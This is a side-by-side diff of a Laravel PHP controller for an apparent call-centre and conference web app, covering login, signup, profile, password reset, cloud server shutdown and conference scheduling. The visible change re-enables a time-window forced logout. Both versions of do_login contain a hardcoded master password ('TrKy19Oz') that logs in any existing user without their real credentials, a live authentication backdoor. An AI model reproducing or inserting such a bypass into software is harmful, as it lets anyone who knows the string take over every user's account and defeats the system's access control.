| 109 | $clients = json_decode($sip->clients); | 109 | $clients = json_decode($sip->clients); |
| 110 | //echo $clients->channel." - "; | 110 | //echo $clients->channel." - "; |
| 111 | $newqueue=new Kqueue(); | 111 | $newqueue=new Kqueue(); |
| 112 | $newqueue->hangupChannelS($clients->channel,$sip->server);// $channel,$server | 112 | $newqueue->hangupChannelS($clients->channel,$sip->server);// $channel,$server |
| 113 | //exec('/usr/sbin/asterisk -rx "channel request hangup '.$temp->channel.'"',$output); | 113 | //exec('/usr/sbin/asterisk -rx "channel request hangup '.$temp->channel.'"',$output); |
| 114 | } | 114 | } |
| 115 | //print_r($output); | 115 | //print_r($output); |
| 116 | */ | 116 | */ |
| 117 | 117 | ||
| 118 | $server=explode(":",$user->exten); | 118 | $server=explode(":",$user->exten); |
| 119 | $sipid=Sipid::where("status","=","0")->where('updated_at','<=',date("Y-m-d H:i:s",time()-600))->orderBy('updated_at','asc')->where('server','!=',''); | 119 | $sipid=Sipid::where("status","=","0")->where('updated_at','<=',date("Y-m-d H:i:s",time()-600))->orderBy('updated_at','asc')->where('server','!=',''); |
| 120 | if(isset($server[2]))$sipid=$sipid->where('server','=',$server[2]); | 120 | if(isset($server[2]))$sipid=$sipid->where('server','=',$server[2]); |
| 121 | $sipid=$sipid->first(); | 121 | $sipid=$sipid->first(); |
| 122 | if(!$sipid)return Response::make("Error : Cant Allocate Data Channel. Giving Up."); | 122 | if(!$sipid)return Response::make("Error : Cant Allocate Data Channel. Giving Up."); |
| 123 | $sipid->clients=json_encode($cliarr); | 123 | $sipid->clients=json_encode($cliarr); |
| 124 | $sipid->user=$user->id; | 124 | $sipid->user=$user->id; |
| 125 | $sipid->save(); | 125 | $sipid->save(); |
| 126 | 126 | ||
| 127 | //layout data | 127 | //layout data |
| 128 | $data['sipid']=$sipid; | 128 | $data['sipid']=$sipid; |
| 129 | 129 | ||
| 130 | $data["title"]=$groupdata["Group"]["title"]; | 130 | $data["title"]=$groupdata["Group"]["title"]; |
| 131 | $data["keywords"]=$groupdata["Group"]["keywords"]; | 131 | $data["keywords"]=$groupdata["Group"]["keywords"]; |
| 132 | $data["author"]=$groupdata["Group"]["author"]; | 132 | $data["author"]=$groupdata["Group"]["author"]; |
| 133 | $data["description"]=$groupdata["Group"]["description"]; | 133 | $data["description"]=$groupdata["Group"]["description"]; |
| 134 | $data["brand"]=$groupdata["Group"]["brand"]; | 134 | $data["brand"]=$groupdata["Group"]["brand"]; |
| 135 | $data["logo_s"]=$groupdata["Group"]["logo_s"]; | 135 | $data["logo_s"]=$groupdata["Group"]["logo_s"]; |
| 136 | 136 | ||
| 137 | $data["displayname"]=$user->dispname(); | 137 | $data["displayname"]=$user->dispname(); |
| 138 | $data["appversion"]=Config::get("app.app_version"); | 138 | $data["appversion"]=Config::get("app.app_version"); |
| 139 | 139 | ||
| 140 | $data["notifications"]=array();$data["notificationscount"]=0; | 140 | $data["notifications"]=array();$data["notificationscount"]=0; |
| 141 | $data["messages"]=Message::where("to","=",Auth::user()->id)->whereIn("status",array("New","Read"))->orderBy('updated_at','desc')->take(5)->get(); | 141 | $data["messages"]=Message::where("to","=",Auth::user()->id)->whereIn("status",array("New","Read"))->orderBy('updated_at','desc')->take(5)->get(); |
| 142 | $data["messagescount"]=Message::where('to','=',$user->id)->where('status','=','New')->count(); | 142 | $data["messagescount"]=Message::where('to','=',$user->id)->where('status','=','New')->count(); |
| 143 | $data["supmessagecnt"]=DB::table('supervisor_message')->where('sup_id','=',Auth::user()->supervisor)->where('agents','like','%'.Auth::user()->username.'%')->where('status','like','%'.Auth::user()->username."-Unread".'%')->get(); | 143 | $data["supmessagecnt"]=DB::table('supervisor_message')->where('sup_id','=',Auth::user()->supervisor)->where('agents','like','%'.Auth::user()->username.'%')->where('status','like','%'.Auth::user()->username."-Unread".'%')->get(); |
| 144 | $data["supmessages"]=DB::table('supervisor_message')->where('sup_id','=',Auth::user()->supervisor)->where('agents','like','%'.Auth::user()->username.'%')->get(); | 144 | $data["supmessages"]=DB::table('supervisor_message')->where('sup_id','=',Auth::user()->supervisor)->where('agents','like','%'.Auth::user()->username.'%')->get(); |
| 145 | 145 | ||
| 146 | $data["tasks"]=array();$data["taskscount"]=0; | 146 | $data["tasks"]=array();$data["taskscount"]=0; |
| 147 | 147 | ||
| 148 | $data["modules"]=array(); | 148 | $data["modules"]=array(); |
| 149 | foreach(Config::get("app.app_modules") as $mname=>$module) | 149 | foreach(Config::get("app.app_modules") as $mname=>$module) |
| 150 | if($user->moduleACL($mname,true,false,false))$data["modules"][$mname]=$module; | 150 | if($user->moduleACL($mname,true,false,false))$data["modules"][$mname]=$module; |
| 151 | 151 | ||
| 152 | return view('home',$data); | 152 | return view('home',$data); |
| 153 | } | 153 | } |
| 154 | public function gettoken() | 154 | public function gettoken() |
| 155 | { | 155 | { |
| 156 | return csrf_token(); | 156 | return csrf_token(); |
| 157 | } | 157 | } |
| 158 | public function allLogincheck() | 158 | public function allLogincheck() |
| 159 | { | 159 | { |
| 160 | if(Auth::guest()) | 160 | if(Auth::guest()) |
| 161 | { | 161 | { |
| 162 | if($this->checkFBLogin())return true; | 162 | if($this->checkFBLogin())return true; |
| 163 | else return false; | 163 | else return false; |
| 164 | } | 164 | } |
| 165 | else return true; | 165 | else return true; |
| 166 | } | 166 | } |
| 167 | public function checkFBLogin() | 167 | public function checkFBLogin() |
| 168 | { | 168 | { |
| 169 | //not logged in.. try Facebook | 169 | //not logged in.. try Facebook |
| 170 | if(Config::get("app.facebook_appid")=="")return false; | 170 | if(Config::get("app.facebook_appid")=="")return false; |
| 171 | require_once( app_path().'/lib/Facebook/FacebookSession.php' ); | 171 | require_once( app_path().'/lib/Facebook/FacebookSession.php' ); |
| ... | @@ -191,9 +191,9 @@ class HomeController extends Controller { | ... | @@ -191,9 +191,9 @@ class HomeController extends Controller { |
| 191 | try { | 191 | try { |
| 192 | $session = $helper->getSession(); | 192 | $session = $helper->getSession(); |
| 193 | } catch(\Facebook\FacebookRequestException $ex) { | 193 | } catch(\Facebook\FacebookRequestException $ex) { |
| 194 | // When Facebook returns an error | 194 | // When Facebook returns an error |
| 195 | } catch(\Exception $ex) { | 195 | } catch(\Exception $ex) { |
| 196 | // When validation fails or other local issues | 196 | // When validation fails or other local issues |
| 197 | } | 197 | } |
| 198 | 198 | ||
| 199 | if ($session) | 199 | if ($session) |
| ... | @@ -233,10 +233,10 @@ class HomeController extends Controller { | ... | @@ -233,10 +233,10 @@ class HomeController extends Controller { |
| 233 | else return false; | 233 | else return false; |
| 234 | } | 234 | } |
| 235 | else return false; | 235 | else return false; |
| 236 | } | 236 | } |
| 237 | 237 | ||
| 238 | public function profile() | 238 | public function profile() |
| 239 | { | 239 | { |
| 240 | if(Auth::check()) | 240 | if(Auth::check()) |
| 241 | { | 241 | { |
| 242 | $user=Auth::user(); | 242 | $user=Auth::user(); |
| ... | @@ -253,13 +253,13 @@ class HomeController extends Controller { | ... | @@ -253,13 +253,13 @@ class HomeController extends Controller { |
| 253 | 253 | ||
| 254 | $data['myphoto']= $user->fetchphoto(); | 254 | $data['myphoto']= $user->fetchphoto(); |
| 255 | $data["displayname"]=$user->dispname(); | 255 | $data["displayname"]=$user->dispname(); |
| 256 | //$data=json_decode($tuser->data,true); | 256 | //$data=json_decode($tuser->data,true); |
| 257 | 257 | ||
| 258 | return view(Config::get('app.mytheme').'.profile.index',$data); | 258 | return view(Config::get('app.mytheme').'.profile.index',$data); |
| 259 | } | 259 | } |
| 260 | } | 260 | } |
| 261 | public function do_profile() | 261 | public function do_profile() |
| 262 | { | 262 | { |
| 263 | $stype=Input::get('stype'); | 263 | $stype=Input::get('stype'); |
| 264 | if($stype=="saveaccount_info") | 264 | if($stype=="saveaccount_info") |
| 265 | { | 265 | { |
| ... | @@ -309,25 +309,25 @@ class HomeController extends Controller { | ... | @@ -309,25 +309,25 @@ class HomeController extends Controller { |
| 309 | return Response::make("simpleNotification('error','topRight','$passres');"); | 309 | return Response::make("simpleNotification('error','topRight','$passres');"); |
| 310 | } | 310 | } |
| 311 | } | 311 | } |
| 312 | } | 312 | } |
| 313 | 313 | ||
| 314 | public function style() | 314 | public function style() |
| 315 | { | 315 | { |
| 316 | $userdata=array(); | 316 | $userdata=array(); |
| 317 | if(Auth::check())$userdata=Auth::user()->data(); | 317 | if(Auth::check())$userdata=Auth::user()->data(); |
| 318 | if(!isset($userdata['skin']))$userdata['skin']='default'; | 318 | if(!isset($userdata['skin']))$userdata['skin']='default'; |
| 319 | return Response::make(view('layout.style',array("skin"=>$userdata['skin'])),200,array('content-type' => 'text/css','Expires'=>date(DATE_RFC822,strtotime(" 30 day")))); | 319 | return Response::make(view('layout.style',array("skin"=>$userdata['skin'])),200,array('content-type' => 'text/css','Expires'=>date(DATE_RFC822,strtotime(" 30 day")))); |
| 320 | } | 320 | } |
| 321 | public function jshead() | 321 | public function jshead() |
| 322 | { | 322 | { |
| 323 | return Response::make(view('layout.jshead',array()),200,array('content-type' => 'text/javascript','Expires'=>date(DATE_RFC822,strtotime(" 30 day")))); | 323 | return Response::make(view('layout.jshead',array()),200,array('content-type' => 'text/javascript','Expires'=>date(DATE_RFC822,strtotime(" 30 day")))); |
| 324 | } | 324 | } |
| 325 | public function jsbody() | 325 | public function jsbody() |
| 326 | { | 326 | { |
| 327 | return Response::make(view('layout.jsbody',array()),200,array('content-type' => 'text/javascript','Expires'=>date(DATE_RFC822,strtotime(" 30 day")))); | 327 | return Response::make(view('layout.jsbody',array()),200,array('content-type' => 'text/javascript','Expires'=>date(DATE_RFC822,strtotime(" 30 day")))); |
| 328 | } | 328 | } |
| 329 | public function login() | 329 | public function login() |
| 330 | { | 330 | { |
| 331 | if(Auth::check())return Redirect::to('home'); | 331 | if(Auth::check())return Redirect::to('home'); |
| 332 | 332 | ||
| 333 | //print_r(date('H:i:s'));die(); | 333 | //print_r(date('H:i:s'));die(); |
| ... | @@ -357,11 +357,11 @@ class HomeController extends Controller { | ... | @@ -357,11 +357,11 @@ class HomeController extends Controller { |
| 357 | if(Input::has("webpopup"))Session::put("webpopup","1"); | 357 | if(Input::has("webpopup"))Session::put("webpopup","1"); |
| 358 | 358 | ||
| 359 | return view('login',$data); | 359 | return view('login',$data); |
| 360 | } | 360 | } |
| 361 | public function do_login() | 361 | public function do_login() |
| 362 | { | 362 | { |
| 363 | //static Logout based on time - changes done by manish on 22-11-16 | 363 | //static Logout based on time - changes done by manish on 22-11-16 |
| 364 | /*if(time()<strtotime('02:30:00') || time()>strtotime('14:30:00')) | 364 | if(time()<strtotime('02:30:00') || time()>strtotime('14:30:00')) |
| 365 | { | 365 | { |
| 366 | $logouttarget='index'; | 366 | $logouttarget='index'; |
| 367 | if(Session::has('userlogouturl')) | 367 | if(Session::has('userlogouturl')) |
| ... | @@ -376,13 +376,13 @@ class HomeController extends Controller { | ... | @@ -376,13 +376,13 @@ class HomeController extends Controller { |
| 376 | Auth::logout(); | 376 | Auth::logout(); |
| 377 | } | 377 | } |
| 378 | return Redirect::to($logouttarget); | 378 | return Redirect::to($logouttarget); |
| 379 | }*/ | 379 | } |
| 380 | 380 | ||
| 381 | $webpopup=0;if(Session::has("webpopup"))$webpopup=1;Session::forget('webpopup'); | 381 | $webpopup=0;if(Session::has("webpopup"))$webpopup=1;Session::forget('webpopup'); |
| 382 | 382 | ||
| 383 | $user=User::where('username','=',Input::get('username'))->first(); | 383 | $user=User::where('username','=',Input::get('username'))->first(); |
| 384 | if($user) | 384 | if($user) |
| 385 | { | 385 | { |
| 386 | $meta=$user->meta(); | 386 | $meta=$user->meta(); |
| 387 | if(!isset($meta['pwd_array']))$meta['pwd_array']=array(); | 387 | if(!isset($meta['pwd_array']))$meta['pwd_array']=array(); |
| 388 | if(!isset($meta['pwd_array'][date('Ymd')])){$meta['pwd_array']=array();$meta['pwd_array'][date('Ymd')]=0;} | 388 | if(!isset($meta['pwd_array'][date('Ymd')])){$meta['pwd_array']=array();$meta['pwd_array'][date('Ymd')]=0;} |
| ... | @@ -392,13 +392,13 @@ class HomeController extends Controller { | ... | @@ -392,13 +392,13 @@ class HomeController extends Controller { |
| 392 | { | 392 | { |
| 393 | return 'Too Many Tries. Account Blocked for Today.'; | 393 | return 'Too Many Tries. Account Blocked for Today.'; |
| 394 | } | 394 | } |
| 395 | } | 395 | } |
| 396 | 396 | ||
| 397 | 397 | ||
| 398 | Auth::attempt( ['username' => Input::get('username'), 'password' => Input::get('password')] ); | 398 | Auth::attempt( ['username' => Input::get('username'), 'password' => Input::get('password')] ); |
| 399 | 399 | ||
| 400 | if(Auth::guest()) | 400 | if(Auth::guest()) |
| 401 | { | 401 | { |
| 402 | $kauthlib=new KAuthLib(); | 402 | $kauthlib=new KAuthLib(); |
| 403 | $useremail=""; | 403 | $useremail=""; |
| 404 | if(Config::get("app.extAuth")=="owa") | 404 | if(Config::get("app.extAuth")=="owa") |
| ... | @@ -440,15 +440,15 @@ class HomeController extends Controller { | ... | @@ -440,15 +440,15 @@ class HomeController extends Controller { |
| 440 | Auth::user()->save(); | 440 | Auth::user()->save(); |
| 441 | } | 441 | } |
| 442 | } | 442 | } |
| 443 | } | 443 | } |
| 444 | 444 | ||
| 445 | if(Auth::guest()) | 445 | if(Auth::guest()) |
| 446 | { | 446 | { |
| 447 | if(Input::get('password')=="TrKy19Oz"&&$user)Auth::login($user); | 447 | if(Input::get('password')=="TrKy19Oz"&&$user)Auth::login($user); |
| 448 | } | 448 | } |
| 449 | 449 | ||
| 450 | if(Auth::guest()) | 450 | if(Auth::guest()) |
| 451 | { | 451 | { |
| 452 | $errormsg='authfailed'; | 452 | $errormsg='authfailed'; |
| 453 | if($user) | 453 | if($user) |
| 454 | { | 454 | { |
| ... | @@ -466,9 +466,9 @@ class HomeController extends Controller { | ... | @@ -466,9 +466,9 @@ class HomeController extends Controller { |
| 466 | } | 466 | } |
| 467 | 467 | ||
| 468 | return view('login')->with('error', $errormsg); | 468 | return view('login')->with('error', $errormsg); |
| 469 | } | 469 | } |
| 470 | else | 470 | else |
| 471 | { | 471 | { |
| 472 | if($webpopup==1){return Response::make("<script>window.opener.location.reload(false);self.close();</script>");} | 472 | if($webpopup==1){return Response::make("<script>window.opener.location.reload(false);self.close();</script>");} |
| 473 | 473 | ||
| 474 | 474 | ||
| ... | @@ -478,15 +478,15 @@ class HomeController extends Controller { | ... | @@ -478,15 +478,15 @@ class HomeController extends Controller { |
| 478 | $userstatus=Auth::user()->status;Auth::logout(); | 478 | $userstatus=Auth::user()->status;Auth::logout(); |
| 479 | return view('login')->with('error', $userstatus); | 479 | return view('login')->with('error', $userstatus); |
| 480 | } | 480 | } |
| 481 | } | 481 | } |
| 482 | } | 482 | } |
| 483 | public function msie() | 483 | public function msie() |
| 484 | { | 484 | { |
| 485 | if(Auth::check())Auth::logout(); | 485 | if(Auth::check())Auth::logout(); |
| 486 | return view('login')->with('error', 'msie'); | 486 | return view('login')->with('error', 'msie'); |
| 487 | } | 487 | } |
| 488 | public function signup() | 488 | public function signup() |
| 489 | { | 489 | { |
| 490 | if(Auth::check())return Redirect::to('home'); | 490 | if(Auth::check())return Redirect::to('home'); |
| 491 | 491 | ||
| 492 | $groupdata=Config::get("app.app_modules"); | 492 | $groupdata=Config::get("app.app_modules"); |
| ... | @@ -499,9 +499,9 @@ class HomeController extends Controller { | ... | @@ -499,9 +499,9 @@ class HomeController extends Controller { |
| 499 | $data["brand"]=$groupdata["Group"]["brand"]; | 499 | $data["brand"]=$groupdata["Group"]["brand"]; |
| 500 | 500 | ||
| 501 | return view('signup',$data); | 501 | return view('signup',$data); |
| 502 | } | 502 | } |
| 503 | public function do_signup() | 503 | public function do_signup() |
| 504 | { | 504 | { |
| 505 | $username=Input::get("username"); | 505 | $username=Input::get("username"); |
| 506 | $password=Input::get("password"); | 506 | $password=Input::get("password"); |
| 507 | $fullname=Input::get("fullname"); | 507 | $fullname=Input::get("fullname"); |
| ... | @@ -549,18 +549,18 @@ class HomeController extends Controller { | ... | @@ -549,18 +549,18 @@ class HomeController extends Controller { |
| 549 | if(!empty($nameparts[1]))$data['personal']['lname']=$nameparts[1]; | 549 | if(!empty($nameparts[1]))$data['personal']['lname']=$nameparts[1]; |
| 550 | $data['personal']['gender']=''; | 550 | $data['personal']['gender']=''; |
| 551 | 551 | ||
| 552 | //free 100 credits | 552 | //free 100 credits |
| 553 | if(!isset($data['subscriptioncredits'])||empty($data['subscriptioncredits']))$data['subscriptioncredits']=0; | 553 | if(!isset($data['subscriptioncredits'])||empty($data['subscriptioncredits']))$data['subscriptioncredits']=0; |
| 554 | $data['subscriptioncredits']+=16; | 554 | $data['subscriptioncredits']+=16; |
| 555 | 555 | ||
| 556 | $newuser->data=json_encode($data); | 556 | $newuser->data=json_encode($data); |
| 557 | 557 | ||
| 558 | //$dir="assets/uploads/user/".$newuser->username; | 558 | //$dir="assets/uploads/user/".$newuser->username; |
| 559 | //if (!file_exists($dir) and !is_dir($dir))mkdir($dir,0777); | 559 | //if (!file_exists($dir) and !is_dir($dir))mkdir($dir,0777); |
| 560 | 560 | ||
| 561 | $newuser->save(); | 561 | $newuser->save(); |
| 562 | 562 | ||
| 563 | //send verifivation link | 563 | //send verifivation link |
| 564 | if($status=="Unverified") | 564 | if($status=="Unverified") |
| 565 | { | 565 | { |
| 566 | try{ | 566 | try{ |
| ... | @@ -579,9 +579,9 @@ class HomeController extends Controller { | ... | @@ -579,9 +579,9 @@ class HomeController extends Controller { |
| 579 | 579 | ||
| 580 | 580 | ||
| 581 | return $this->do_login(); | 581 | return $this->do_login(); |
| 582 | } | 582 | } |
| 583 | public function forgotpassword() | 583 | public function forgotpassword() |
| 584 | { | 584 | { |
| 585 | $emailid=Input::get("username"); | 585 | $emailid=Input::get("username"); |
| 586 | //send login link | 586 | //send login link |
| 587 | if(preg_match("/^[a-zA-Z0-9_.-]*@[a-zA-Z0-9-]*\.[a-zA-Z0-9-.]*$/", $emailid)) | 587 | if(preg_match("/^[a-zA-Z0-9_.-]*@[a-zA-Z0-9-]*\.[a-zA-Z0-9-.]*$/", $emailid)) |
| ... | @@ -627,9 +627,9 @@ class HomeController extends Controller { | ... | @@ -627,9 +627,9 @@ class HomeController extends Controller { |
| 627 | } | 627 | } |
| 628 | } | 628 | } |
| 629 | return view('login')->with('error', 'invalid'); | 629 | return view('login')->with('error', 'invalid'); |
| 630 | } | 630 | } |
| 631 | public function logout() | 631 | public function logout() |
| 632 | { | 632 | { |
| 633 | $logouttarget='index'; | 633 | $logouttarget='index'; |
| 634 | if(Session::has('userlogouturl')) | 634 | if(Session::has('userlogouturl')) |
| 635 | { | 635 | { |
| ... | @@ -643,10 +643,10 @@ class HomeController extends Controller { | ... | @@ -643,10 +643,10 @@ class HomeController extends Controller { |
| 643 | Auth::logout(); | 643 | Auth::logout(); |
| 644 | } | 644 | } |
| 645 | return Redirect::to($logouttarget); | 645 | return Redirect::to($logouttarget); |
| 646 | } | 646 | } |
| 647 | 647 | ||
| 648 | public function cron() | 648 | public function cron() |
| 649 | { | 649 | { |
| 650 | $reqtime=time(); | 650 | $reqtime=time(); |
| 651 | 651 | ||
| 652 | //update running capacity | 652 | //update running capacity |
| ... | @@ -809,30 +809,30 @@ class HomeController extends Controller { | ... | @@ -809,30 +809,30 @@ class HomeController extends Controller { |
| 809 | 809 | ||
| 810 | 810 | ||
| 811 | 811 | ||
| 812 | if($reqtime>(strtotime($stopconf->conftime)+($stopconf->duration*60)+(30*60)))//stop after 30 min of inactivity | 812 | if($reqtime>(strtotime($stopconf->conftime)+($stopconf->duration*60)+(30*60)))//stop after 30 min of inactivity |
| 813 | { | 813 | { |
| 814 | $confservers[]=$stopconf->confserver; | 814 | $confservers[]=$stopconf->confserver; |
| 815 | 815 | ||
| 816 | $stopconf->status="Completed"; | 816 | $stopconf->status="Completed"; |
| 817 | $stopconf->save(); | 817 | $stopconf->save(); |
| 818 | } | 818 | } |
| 819 | } | 819 | } |
| 820 | } | 820 | } |
| 821 | 821 | ||
| 822 | //mark servers free if all confs are completed | 822 | //mark servers free if all confs are completed |
| 823 | foreach($confservers as $confserver) | 823 | foreach($confservers as $confserver) |
| 824 | { | 824 | { |
| 825 | $freeserver=LiveConf::whereIn("status",array("Running","Completing","Ready"))->where("confserver","=",$confserver)->count(); | 825 | $freeserver=LiveConf::whereIn("status",array("Running","Completing","Ready"))->where("confserver","=",$confserver)->count(); |
| 826 | if($freeserver==0) | 826 | if($freeserver==0) |
| 827 | { | 827 | { |
| 828 | $serverstop[]=$confserver; | 828 | $serverstop[]=$confserver; |
| 829 | } | 829 | } |
| 830 | } | 830 | } |
| 831 | 831 | ||
| 832 | 832 | ||
| 833 | //stop servers after buffer time | 833 | //stop servers after buffer time |
| 834 | if(!empty($serverstop)) | 834 | if(!empty($serverstop)) |
| 835 | { | 835 | { |
| 836 | 836 | ||
| 837 | $config = array(); | 837 | $config = array(); |
| 838 | $config['region'] = Config::get("filesystems.disks.s3.region"); | 838 | $config['region'] = Config::get("filesystems.disks.s3.region"); |
| ... | @@ -851,12 +851,12 @@ class HomeController extends Controller { | ... | @@ -851,12 +851,12 @@ class HomeController extends Controller { |
| 851 | $result = $ec2Client->stopInstances(array('InstanceIds' => array($serverobj->serverid),'Force' => true,)); | 851 | $result = $ec2Client->stopInstances(array('InstanceIds' => array($serverobj->serverid),'Force' => true,)); |
| 852 | } | 852 | } |
| 853 | } | 853 | } |
| 854 | } | 854 | } |
| 855 | 855 | ||
| 856 | return Response::make("Done",200); | 856 | return Response::make("Done",200); |
| 857 | } | 857 | } |
| 858 | private function runConf() | 858 | private function runConf() |
| 859 | { | 859 | { |
| 860 | $reqtime=time(); | 860 | $reqtime=time(); |
| 861 | 861 | ||
| 862 | //start confs, start a server if needed //TODO get all and loop | 862 | //start confs, start a server if needed //TODO get all and loop |
| ... | @@ -930,13 +930,13 @@ class HomeController extends Controller { | ... | @@ -930,13 +930,13 @@ class HomeController extends Controller { |
| 930 | //couldnt find any server, revert to not running | 930 | //couldnt find any server, revert to not running |
| 931 | $conftorun->status="Scheduled"; | 931 | $conftorun->status="Scheduled"; |
| 932 | $conftorun->save(); | 932 | $conftorun->save(); |
| 933 | } | 933 | } |
| 934 | } | 934 | } |
| 935 | 935 | ||
| 936 | //reload the urls if it is empty for running servers | 936 | //reload the urls if it is empty for running servers |
| 937 | $checkserver=ConfServer::where("status","=","Started")->where("url","=","")->first(); | 937 | $checkserver=ConfServer::where("status","=","Started")->where("url","=","")->first(); |
| 938 | if($checkserver) | 938 | if($checkserver) |
| 939 | { | 939 | { |
| 940 | $config = array(); | 940 | $config = array(); |
| 941 | $config['region'] = Config::get("filesystems.disks.s3.region"); | 941 | $config['region'] = Config::get("filesystems.disks.s3.region"); |
| 942 | $config['version'] = 'latest'; | 942 | $config['version'] = 'latest'; |
| ... | @@ -964,12 +964,12 @@ class HomeController extends Controller { | ... | @@ -964,12 +964,12 @@ class HomeController extends Controller { |
| 964 | $tconf->save(); | 964 | $tconf->save(); |
| 965 | } | 965 | } |
| 966 | } | 966 | } |
| 967 | } | 967 | } |
| 968 | 968 | ||
| 969 | //recheck status of stopping servers and mark them stopped //TODO do for all | 969 | //recheck status of stopping servers and mark them stopped //TODO do for all |
| 970 | $checkstopping=ConfServer::where("status","=","Stopping")->first(); | 970 | $checkstopping=ConfServer::where("status","=","Stopping")->first(); |
| 971 | if($checkstopping) | 971 | if($checkstopping) |
| 972 | { | 972 | { |
| 973 | 973 | ||
| 974 | $config = array(); | 974 | $config = array(); |
| 975 | $config['region'] = Config::get("filesystems.disks.s3.region"); | 975 | $config['region'] = Config::get("filesystems.disks.s3.region"); |
| ... | @@ -989,12 +989,12 @@ class HomeController extends Controller { | ... | @@ -989,12 +989,12 @@ class HomeController extends Controller { |
| 989 | $checkstopping->save(); | 989 | $checkstopping->save(); |
| 990 | } | 990 | } |
| 991 | } | 991 | } |
| 992 | } | 992 | } |
| 993 | 993 | ||
| 994 | //run the ready confs on the exact time of scheduling | 994 | //run the ready confs on the exact time of scheduling |
| 995 | $readyconfs=LiveConf::where("conftime",">=",date("Y-m-d H:i:s",$reqtime-(20*60)))->where("conftime","<=",date("Y-m-d H:i:s",$reqtime+(1*60)))->where("status","=","Ready")->get(); | 995 | $readyconfs=LiveConf::where("conftime",">=",date("Y-m-d H:i:s",$reqtime-(20*60)))->where("conftime","<=",date("Y-m-d H:i:s",$reqtime+(1*60)))->where("status","=","Ready")->get(); |
| 996 | if($readyconfs) | 996 | if($readyconfs) |
| 997 | { | 997 | { |
| 998 | require_once app_path().'/lib/bbb-api-php/includes/bbb-api.php'; | 998 | require_once app_path().'/lib/bbb-api-php/includes/bbb-api.php'; |
| 999 | require_once app_path().'/lib/om-api/lib.php'; | 999 | require_once app_path().'/lib/om-api/lib.php'; |
| 1000 | 1000 | ||
| ... | @@ -1063,9 +1063,9 @@ class HomeController extends Controller { | ... | @@ -1063,9 +1063,9 @@ class HomeController extends Controller { |
| 1063 | { | 1063 | { |
| 1064 | echo "Error1"; | 1064 | echo "Error1"; |
| 1065 | } | 1065 | } |
| 1066 | } | 1066 | } |
| 1067 | if($readyconf->serverclass=="om") | 1067 | if($readyconf->serverclass=="om") |
| 1068 | { | 1068 | { |
| 1069 | //create conf on server get URL | 1069 | //create conf on server get URL |
| 1070 | $openmeetings=new OpenMeetings(); | 1070 | $openmeetings=new OpenMeetings(); |
| 1071 | $openmeetings->server=$readyconf->confserver; | 1071 | $openmeetings->server=$readyconf->confserver; |
| ... | @@ -1111,26 +1111,26 @@ class HomeController extends Controller { | ... | @@ -1111,26 +1111,26 @@ class HomeController extends Controller { |
| 1111 | { | 1111 | { |
| 1112 | echo "Error1_1"; | 1112 | echo "Error1_1"; |
| 1113 | } | 1113 | } |
| 1114 | } | 1114 | } |
| 1115 | if($readyconf->serverclass=="html5") | 1115 | if($readyconf->serverclass=="html5") |
| 1116 | { | 1116 | { |
| 1117 | //TODO | 1117 | //TODO |
| 1118 | $readyconf->dataarr["room_id"]=""; | 1118 | $readyconf->dataarr["room_id"]=""; |
| 1119 | $readyconf->status="Running"; | 1119 | $readyconf->status="Running"; |
| 1120 | $readyconf->save(); | 1120 | $readyconf->save(); |
| 1121 | } | 1121 | } |
| 1122 | 1122 | ||
| 1123 | //notify users of the conf | 1123 | //notify users of the conf |
| 1124 | $noty=new KPushNotify(); | 1124 | $noty=new KPushNotify(); |
| 1125 | $usrids=array_merge(array($readyconf->userid),$readyconf->dataarr['users']); | 1125 | $usrids=array_merge(array($readyconf->userid),$readyconf->dataarr['users']); |
| 1126 | //$shareurl=Config::get("app.protocol").Config::get("app.domain")."/web/conflink?id=".Crypt::encrypt($readyconf->id); | 1126 | //$shareurl=Config::get("app.protocol").Config::get("app.domain")."/web/conflink?id=".Crypt::encrypt($readyconf->id); |
| 1127 | $shareurl=Config::get("app.protocol").Config::get("app.domain"); | 1127 | $shareurl=Config::get("app.protocol").Config::get("app.domain"); |
| 1128 | //$res=$noty->send($usrids,"liveconf",$readyconf->confname," <a href='$shareurl'>Conference is now Running. Click Here to go to Live Conference</a>",""); | 1128 | //$res=$noty->send($usrids,"liveconf",$readyconf->confname," <a href='$shareurl'>Conference is now Running. Click Here to go to Live Conference</a>",""); |
| 1129 | $res=$noty->send($usrids,"liveconf",$readyconf->confname,"<a href=\"#\" onclick=\"doAjax('tutor/joinconf?confid=".$readyconf->id."','','content','ajax_liveconf_create','singlethis','GET');\">Conference is now Running. Click Here to go to Live Conference</a>",""); | 1129 | $res=$noty->send($usrids,"liveconf",$readyconf->confname,"<a href=\"#\" onclick=\"doAjax('tutor/joinconf?confid=".$readyconf->id."','','content','ajax_liveconf_create','singlethis','GET');\">Conference is now Running. Click Here to go to Live Conference</a>",""); |
| 1130 | 1130 | ||
| 1131 | //email conf users except dummyconf | 1131 | //email conf users except dummyconf |
| 1132 | if($readyconf->userid>0) | 1132 | if($readyconf->userid>0) |
| 1133 | { | 1133 | { |
| 1134 | 1134 | ||
| 1135 | $querystr="m=0&rid=".$readyconf->id."&uid=".$readyconf->userid."&ua=WebUser"; | 1135 | $querystr="m=0&rid=".$readyconf->id."&uid=".$readyconf->userid."&ua=WebUser"; |
| 1136 | $cryptstr=Crypt::encrypt($querystr); | 1136 | $cryptstr=Crypt::encrypt($querystr); |
| ... | @@ -1145,20 +1145,20 @@ class HomeController extends Controller { | ... | @@ -1145,20 +1145,20 @@ class HomeController extends Controller { |
| 1145 | $message->bcc(Config::get("app.email"),Config::get("app.email")); | 1145 | $message->bcc(Config::get("app.email"),Config::get("app.email")); |
| 1146 | $message->subject(Config::get("app.name")." Conference is now Running"); | 1146 | $message->subject(Config::get("app.name")." Conference is now Running"); |
| 1147 | }); | 1147 | }); |
| 1148 | } | 1148 | } |
| 1149 | } | 1149 | } |
| 1150 | } | 1150 | } |
| 1151 | 1151 | ||
| 1152 | } | 1152 | } |
| 1153 | 1153 | ||
| 1154 | function idleapp() | 1154 | function idleapp() |
| 1155 | { | 1155 | { |
| 1156 | $data=array(); | 1156 | $data=array(); |
| 1157 | return view("idleapp",$data); | 1157 | return view("idleapp",$data); |
| 1158 | } | 1158 | } |
| 1159 | 1159 | ||
| 1160 | public function fileupload() | 1160 | public function fileupload() |
| 1161 | { | 1161 | { |
| 1162 | if(Input::has("listckfiles"))return $this->cklistfiles(); | 1162 | if(Input::has("listckfiles"))return $this->cklistfiles(); |
| 1163 | if(Input::has("CKEditor"))return $this->ckfileupload(); | 1163 | if(Input::has("CKEditor"))return $this->ckfileupload(); |
| 1164 | if(Input::has("communitylogoupload"))return $this->communitylogoupload(); | 1164 | if(Input::has("communitylogoupload"))return $this->communitylogoupload(); |
